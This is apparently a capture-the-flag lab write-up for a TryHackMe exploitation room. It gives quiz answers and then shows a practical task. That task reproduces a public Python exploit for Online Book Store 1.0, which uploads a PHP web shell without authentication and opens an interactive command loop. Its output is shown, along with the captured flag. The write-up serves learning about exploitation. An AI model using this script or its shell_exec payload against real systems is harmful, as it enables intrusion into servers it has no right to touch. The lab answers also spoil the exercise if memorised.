Exploit Vulnerabilities

      • Let's proceed.

      No Answer

      • You are working close to a deadline for your penetration test and need to scan a web application quickly. Would you use an automated scanner ? (Yay/Nay) 

      Answer : YAY

      • You are testing a web application and find that you are able to input and retrieve data in a database.  What vulnerability is this ?

      Answer : Injection

      • You manage to impersonate another user. What vulnerability is this ?

      Answer : Broken Access Control

      • What website would you use as a security researcher if you wanted to upload a Proof of Concept ?

      Anwser : GitHub

      • You are performing a penetration test at a site with no internet connection. What tool could you use to find exploits to use ?

      Anwser : Searchsploit

      • What type of vulnerability was used in this attack ?

      Answer : Remote Code Execution

      TASK 5 : Practical: Manual Exploitation 
      • Find out the version of the application that is running. What are the name and version number of the application ?

      Open the website and take a look down the page :


      Answer : Online Book Store V1.0

      • Now use the resources and skills from this module to find an exploit that will allow you to gain remote access to the vulnerable machine.

      Let's research this on google :


      It's seem good, let's go ahead and download the exploit :


      What does the exploit looks like ?

      # Exploit Title: Online Book Store 1.0 - Unauthenticated Remote Code Execution
      # Google Dork: N/A
      # Date: 2020-01-07
      # Exploit Author: Tib3rius
      # Vendor Homepage: https://projectworlds.in/free-projects/php-projects/online-book-store-project-in-php/
      # Software Link: https://github.com/projectworlds32/online-book-store-project-in-php/archive/master.zip
      # Version: 1.0
      # Tested on: Ubuntu 16.04
      # CVE: N/A

      import argparse
      import random
      import requests
      import string
      import sys

      parser = argparse.ArgumentParser()
      parser.add_argument('url', action='store', help='The URL of the target.')
      args = parser.parse_args()

      url = args.url.rstrip('/')
      random_file = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(10))

      payload = '<?php echo shell_exec($_GET[\'cmd\']); ?>'

      file = {'image': (random_file + '.php', payload, 'text/php')}
      print('> Attempting to upload PHP web shell...')
      r = requests.post(url + '/admin_add.php', files=file, data={'add':'1'}, verify=False)
      print('> Verifying shell upload...')
      r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':'echo ' + random_file}, verify=False)

      if random_file in r.text:
          print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php')
          print('> Example command usage: ' + url + '/bootstrap/img/' + random_file + '.php?cmd=whoami')
          launch_shell = str(input('> Do you wish to launch a shell here? (y/n): '))
          if launch_shell.lower() == 'y':
              while True:
                  cmd = str(input('RCE $ '))
                  if cmd == 'exit':
                      sys.exit(0)
                  r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':cmd}, verify=False)
                  print(r.text)
      else:
          if r.status_code == 200:
              print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php, however a simple command check failed to execute. Perhaps shell_exec is disabled? Try changing the payload.')
          else:
              print('> Web shell failed to upload! The web server may not have write permissions.')

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      • Use this exploit against the vulnerable machine. What is the value of the flag located in a web directory ?

      Ok, this python script just need the URL as parameter :

      root@ip-10-10-45-35:~/Desktop# python 47887.py http://10.10.53.2
      > Attempting to upload PHP web shell...
      > Verifying shell upload...
      > Web shell uploaded to http://10.10.53.2/bootstrap/img/TtkeMldBQi.php
      > Example command usage: http://10.10.53.2/bootstrap/img/TtkeMldBQi.php?cmd=whoami
      > Do you wish to launch a shell here? (y/n): y
      RCE $ ls
      OyWjgNLIbq.php
      TtkeMldBQi.php
      android_studio.jpg
      beauty_js.jpg
      c_14_quick.jpg
      c_sharp_6.jpg
      doing_good.jpg
      flag.txt
      img1.jpg
      img2.jpg
      img3.jpg
      kotlin_250x250.png
      logic_program.jpg
      mobile_app.jpg
      pro_asp4.jpg
      pro_js.jpg
      unnamed.png
      web_app_dev.jpg

      RCE $ cat flag.txt
      THM{BOOK_KEEPING}

      Answer : THM{BOOK_KEEPING}